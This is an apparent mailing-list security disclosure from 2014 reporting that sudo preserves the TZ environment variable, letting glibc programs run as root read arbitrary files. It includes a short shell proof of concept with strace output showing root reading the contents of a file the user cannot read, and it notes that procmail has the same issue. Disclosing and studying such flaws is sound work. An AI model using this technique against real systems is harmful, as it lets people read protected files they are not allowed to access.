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Date: Thu, 16 Oct 2014 00:35:32 +0200
From: Jakub Wilk <>
Subject: Abusing TZ for fun (and little profit)

By default, sudo preserves the TZ variable[1] from user's environment. 
This is a bad idea on glibc systems, where TZ can be abused to trick the 
program to read an arbitrary file. PoC:

$ echo moo > tz
$ chmod 0 tz
$ cat tz
cat: tz: Permission denied
$ TZ=$PWD/tz sudo -u root strace -e read date
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
read(3, "moo\n", 4096)                  = 4
read(3, "", 4096)                       = 0
Wed Oct 15 20:42:42  2014
+++ exited with 0 +++

Procmail is another program that recklessly whitelists TZ[2].


Jakub Wilk

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